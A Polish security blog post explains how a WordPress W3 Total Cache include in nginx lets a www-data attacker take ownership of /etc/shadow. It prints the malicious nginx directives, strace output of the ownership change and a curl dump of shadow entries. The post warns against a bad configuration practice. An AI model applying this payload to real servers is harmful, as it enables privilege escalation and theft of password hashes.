Rutowanie skrzynki z pluginem W3 Total Cache i Nginx
Napisał: Patryk Krawaczyński
11/03/2017 w Bezpieczeństwo Brak komentarzy. (artykuł nr 595, ilość słów: 296)
à
propos różnych poradników. Kilka poradników na temat integracji popularnego pluginu W3TC do tworzenia warstwy cache dla WordPress radzą, aby w konfiguracji serwera nginx umieszczać następujące wpisy:
location / { include /var/www/wordpress/nginx.conf; }
Daje to, że nginx zawiera w swojej konfiguracji dodatkowy plik konfiguracyjny, który jest kontrolowany przez wstyczkę W3TC, która posiada prawa zapisu do tego pliku i może za nas aktualizować konfigurację serwera WWW. Załóżmy, że ktoś jest w stanie przejąć naszą stronę opartą o silnik WordPress (szalone prawda?) i zdobywa możliwość czytania oraz zapisywania plików stworzonych przez użytkownika www-data
(z którego prawami odpalane są serwery www oraz php5-fpm). Podmienia on plik nginx.conf przeznaczony dla pluginu W3TC na następującą zawartość:
client_body_temp_path /etc/shadow; location /wat { alias /etc; }
Oznacza to, że nginx przy następnym przeładowaniu konfiguracji zacznie używać pliku /etc/shadow
, jako ścieżki do przechowywania tymczasowych plików z treścią żądań HTTP. Oczywiście powinien to być katalog, ale zobaczmy, co się stanie jak zostanie wykonany restart serwera:
darkstar:~# strace -e trace=chmod,chown -f nginx chown("/etc/shadow", 33, 4294967295) = 0 +++ exited with 0 +++
No właśnie. Właściciel pliku został zmieniony na www-data
. Było to możliwe dlatego, że główny proces serwera nginx jest uruchomiony z prawami root
. W ten sposób możemy zmienić dowolny plik w systemie. Później pozostaje już tylko pobranie zawartości wrażliwego pliku za pomocą stworzonego aliasu:
darkstar:~$ curl -s http://localhost/wat/shadow | head root:$6$IPIbhbCwb7gHQC:0:99999:7::: daemon:*:17074:0:99999:7::: bin:*:17074:0:99999:7::: sys:*:17074:0:99999:7::: sync:*:17074:0:99999:7::: games:*:17074:0:99999:7::: man:*:17074:0:99999:7::: lp:*:17074:0:99999:7::: mail:*:17074:0:99999:7::: news:*:17074:0:99999:7:::
Zdobycie dostępu do powłoki administratora bez próby złamania jego hasła pozostawiam jako ćwiczenie dla Czytelnika.
Więcej informacji: Root your box with W3TC and Nginx